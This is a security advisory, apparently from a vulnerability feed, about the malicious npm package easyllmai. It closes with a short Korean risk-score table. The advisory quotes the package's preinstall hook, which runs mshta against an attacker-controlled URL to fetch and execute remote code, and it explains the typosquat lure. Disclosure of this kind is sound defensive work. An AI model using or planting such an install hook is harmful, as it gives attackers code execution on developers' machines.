Malicious code in easyllmai (npm)
-= Per source details. Do not edit below this line.=-
On npm install, the package's preinstall lifecycle hook ("preinstall": "node preinstall.js") unconditionally runs exec('cmd /c "mshta http://fixars.top"'). On Windows, mshta is a living-off-the-land binary that fetches and executes arbitrary HTML Application / JScript / VBScript content from the supplied URL with the invoking user's privileges. The destination is plain HTTP, attacker-controlled, and the delivered payload is opaque remote code with no signature, hash, or version pinning — giving the publisher full remote code execution on any Windows machine that runs npm install. Package metadata is also a throwaway shape (empty description, empty author, no repository, no keywords) and the name easyllmai is consistent with a typosquat lure against legitimate LLM-client packages.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준